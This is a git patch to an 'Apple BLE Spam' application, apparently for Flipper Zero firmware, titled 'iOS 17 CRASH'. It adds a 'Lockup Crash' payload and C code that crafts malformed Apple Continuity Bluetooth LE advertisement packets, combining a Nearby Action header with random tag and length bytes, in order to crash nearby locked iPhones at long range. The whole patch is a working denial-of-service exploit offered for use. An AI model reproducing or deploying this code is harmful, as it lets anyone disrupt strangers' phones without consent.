From d2d0f2844917c0617ac86b884e14f4b2b4a92a73 Mon Sep 17 00:00:00 2001
From: Willy-JL <49810075+Willy-JL@users.noreply.github.com>
Date: Sun, 1 Oct 2023 01:39:01 +0100
Subject: [PATCH] iOS 17 CRASH for Apple BLE Spam

---
 .../external/apple_ble_spam/apple_ble_spam.c  |  8 +++++++
 .../lib/continuity/continuity.c               | 22 +++++++++++++++++++
 .../lib/continuity/continuity.h               |  4 ++++
 3 files changed, 34 insertions(+)

diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c
index 1ab1c8777..0d38c9ad0 100644
--- a/applications/external/apple_ble_spam/apple_ble_spam.c
+++ b/applications/external/apple_ble_spam/apple_ble_spam.c
@@ -184,6 +184,14 @@ static Payload payloads[] = {
              .data = {.nearby_info = {}},
          }},
 #endif
+    {.title = "Lockup Crash",
+     .text = "iOS 17, locked, long range",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeCustomCrash,
+             .data = {.custom_crash = {}},
+         }},
     {.title = "Random Action",
      .text = "Spam shuffle Nearby Actions",
      .random = true,
diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c
index 3d50107b1..9d6856adc 100644
--- a/applications/external/apple_ble_spam/lib/continuity/continuity.c
+++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c
@@ -1,5 +1,6 @@
 #include "continuity.h"
 #include <furi_hal_random.h>
+#include <core/core_defines.h>
 
 // Hacked together by @Willy-JL
 // Custom adv logic by @Willy-JL (idea by @xMasterX)
@@ -16,6 +17,7 @@ static const char* continuity_type_names[ContinuityTypeCount] = {
     [ContinuityTypeTetheringSource] = "Tethering Source",
     [ContinuityTypeNearbyAction] = "Nearby Action",
     [ContinuityTypeNearbyInfo] = "Nearby Info",
+    [ContinuityTypeCustomCrash] = "Custom Packet",
 };
 const char* continuity_get_type_name(ContinuityType type) {
     return continuity_type_names[type];
@@ -30,6 +32,7 @@ static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
     [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
     [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
     [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
+    [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
 };
 uint8_t continuity_get_packet_size(ContinuityType type) {
     return continuity_packet_sizes[type];
@@ -135,6 +138,25 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         packet[i++] = (rand() % 256); // ...
         break;
 
+    case ContinuityTypeCustomCrash:
+        i -= 2; // Override segment header
+
+        packet[i++] = ContinuityTypeNearbyAction; // Type
+        packet[i++] = 0x05; // Length
+        packet[i++] = 0xC1; // Action Flags
+        const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
+        packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
+        furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
+        i += 3;
+
+        packet[i++] = 0x00; // ???
+        packet[i++] = 0x00; // ???
+
+        packet[i++] = ContinuityTypeNearbyInfo; // Type ???
+        furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
+        i += 3;
+        break;
+
     default:
         break;
     }
diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h
index 01a53364c..0437f5834 100644
--- a/applications/external/apple_ble_spam/lib/continuity/continuity.h
+++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h
@@ -18,6 +18,8 @@ typedef enum {
     ContinuityTypeTetheringSource = 0x0E,
     ContinuityTypeNearbyAction = 0x0F,
     ContinuityTypeNearbyInfo = 0x10,
+
+    ContinuityTypeCustomCrash,
     ContinuityTypeCount
 } ContinuityType;
 
@@ -40,6 +42,8 @@ typedef union {
     } nearby_action;
     struct {
     } nearby_info;
+    struct {
+    } custom_crash;
 } ContinuityData;
 
 typedef struct {